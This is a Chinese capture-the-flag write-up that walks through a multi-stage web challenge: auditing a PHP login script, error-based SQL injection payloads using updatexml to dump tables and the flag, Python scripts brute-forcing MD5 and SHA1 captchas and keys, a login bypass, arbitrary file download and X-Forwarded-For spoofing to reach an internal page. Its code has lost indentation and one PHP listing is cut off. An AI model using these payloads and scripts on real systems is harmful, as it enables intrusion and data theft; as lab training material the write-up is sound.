查看网页源代码发现有个文件路径
访问的看到了有三个参数用get方式提交
在url后提三个参数和对应的值就看到了一个1chunqiu.zip
访问就可以下载文件
这里需要进行代码审计
先看log.php界面
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['number'])){
$db = new mysql_db();
$username = $db->safe_data($_POST['username']);
$password = $db->my_md5($_POST['password']);
$number = is_numeric($_POST['number']) ? $_POST['number'] : 1;
$username = trim(str_replace($number, '', $username));
$sql = "select * from"."`".table_name."`"."where username="."'"."$username"."'";
这里username处存在注入,他只进行了safe_data处理,我们跟进这个函数
public function safe_data($value){
if( MAGIC_QUOTES_GPC ){
stripcslashes($value);
}
return addslashes($value);
}
这个代码的意思是在username中找我们输入的车牌号“number”,如果找到就替换成空,
$username = trim(str_replace($number, '', $username));
根据文件路径访问到登陆界面
提交的时候注意number必须是0,然后对username进行注入
- number=0&username=%00' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#&password=123&submit=Submit+Query //爆表
- number=0&username=%00' and updatexml(1,concat(1,substr((select * from flag),1,15)),1)#&password=123&submit=Submit+Query //爆flag
看到一串代码substr(md5(captcha), 0, 6)=10c6ca 截取验证码MD5加密后的前6位,可以写脚本爆破。但是刚开始笔者陷入了误区,就是不知道验证码有几位,由哪些字符组成的。但是后来一想,这里应该是服务端接受到我们传过去的验证码,然后进行MD5加密再进行比较,所以验证码长度就不是那么重要了,但是试了下三位数的验证码能匹配成功的几率很低,所以写了一个四位验证码的脚本,爆破出来的验证码,随便选一个就可以了。
下面是python脚本代码和笔者的测试结果
import string,hashlib
a=string.digits+string.lowercase+string.uppercase
for i in a:
for j in a:
for k in a:
for m in a:
s=hashlib.md5(i+j+k+m).hexdigest()[0:6]
if s=="9bf514":
print i+j+k+m
break
验证码是爆破出来了,但是用户名和密码呢,尝试了sql注入没有什么结果,但是尝试万能密码登陆,果然进去了
进去之后发现有几个文件可以下载
将a.php下载下来发现内容提示flag is in the web root dir,这里能下载文件就可以看到文件的绝对路径,就可以访问了
这里还需要考虑一步,是windows的服务器还是linux的服务器呢,随便访问一个链接就可以发现是Ubuntu,或者用试下路径大小写,敏感的话就是linux了
那么根据下载链接的参数去访问绝对路径,也可以下载flag.php
flag.php的代码如下,意思是用POST提交flag参数,当flag=flag时,会输出一个文件的内容
'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
eval("\$spaceone = $f");
}
catch (Exception $e)
{
return false;
}
if ($spaceone === 'flag'){
echo file_get_contents("helloctf.php");
}
?>
因为flag.php在根目录,那么直接访问,然后提交POST参数,没有什么反应
那就用burp试一下
访问网站之下就有这些代码,意思是去访问这个flag.php,内容会传到生成的文件名中,文件名的路径需要拼接url+u/+md5(随机数)+txt,而且这个文件名生成10s后会删除
写一个脚本,请求链接的时候拼接这个文件名,这里就有一点运气成分在了,可能会跑不出来,但是多试几次就可以了
下面是python脚本代码和笔者的测试结果
# -*- coding: utf-8 -*-
import requests
import re
import md5
for i in range(0,1001):
m1 = md5.new()
m1.update(str(i).encode(encoding='utf-8'))
url='http://106.75.26.211:3333/u/'+m1.hexdigest()+'.txt'
r = requests.get(url)
if(r.status_code!=404):
print i
print url
print r.status_code #输出状态码
print r.text #文本形式输出网页内容
break
'''
else:
print i
print "404" #动态观察脚本运行情况
'''
这里可以提交,但是尝试了几下发现没有什么反应
用burp抓包,这里有两个地方,go一次这两个地方的内容都会变,sha1(3个数字
+每次提交都会变的明文)=每次提交都会变的Ciphertext
写一个自动发包脚本在数据包中自动去获取明文和密文进行加密匹配,虽然只有10s,3个数字去匹配的时间还是够的
下面是python脚本代码和笔者的测试结果
# -*- coding: utf-8 -*-
import urllib,urllib2,json
import hashlib
import re
import requests
url = 'http://106.75.108.111:1111'
def sha_1(data):
sha_1 = hashlib.sha1()
sha_1.update(data)
sha = sha_1.hexdigest()
return sha
def key(key1,key2):
c='0123456789'
str1 = key1
cipher = key2
for i in c:
for j in c:
for k in c:
if sha_1(i+j+k+str1) == cipher:
# print (i+j+k)
return i+j+k
def get_info():
r = requests.post("http://106.75.108.111:1111")
key2 = r.headers['Ciphertext']
cookies = r.cookies#获取cookie
html = r.text#获取网页内容
res = r'\+(.*?)\)'
key1 = re.findall(res,html)[0]
print key1
return key1,key2,cookies
def postx(number,cookies):
cookies = cookies#传递cookie
values={'pass':number}
response = requests.post("http://106.75.108.111:1111",cookies=cookies,data=values)#post请求提交
return response.text
def sum(text):
res = r''#正则
key3 = re.findall(res,text)[0]
result = eval(key3)#eval将字符串str当成有效的表达式来求值并返回计算结果
return result
if __name__ == '__main__':
(key1,key2,cookies)=get_info()#获取标识
number = key(key1,key2)#获取爆破出来的三个数字
result1 = postx(number,cookies)#获取post请求内容
result2 = sum(result1)
print result2#输出flag
print postx(result2,cookies)
抓包重放之后看到有一个大内网的提示,就需要修改X-Forwarded-For,ip为10.0.0.1段的去访问
修改之后访问到了需要一个key
那就POST传一个key试试看,每次放包的时候都要注意X-Forwarded-For要修改为10.0.0.1,这里提示key不正确,正确的key是ichunqiu+(5个数字和字母)加密后为5a2a7d385fdaad3fabbe7b11c28bd48e
写一个python脚本爆破key
import hashlib
def md5(data):
m = hashlib.md5()
m.update(data)
a = m.hexdigest()
return a
a = 'ichunqiu'
b = 'abcdefghijklmnopqrstuvwxyz1234567890'
for i in b:
for j in b:
for k in b:
for l in b:
for m in b:
if md5(a+i+j+k+l+m)=='5a2a7d385fdaad3fabbe7b11c28bd48e':
print a+i+j+k+l+m
爆破出来key为ichunqiu618ok,再次提交就看到提示访问这个x0.txt
flag是需要通过这个php脚本来解密的
将php代码放到本地环境中,传入两个参数,就可以得到flag了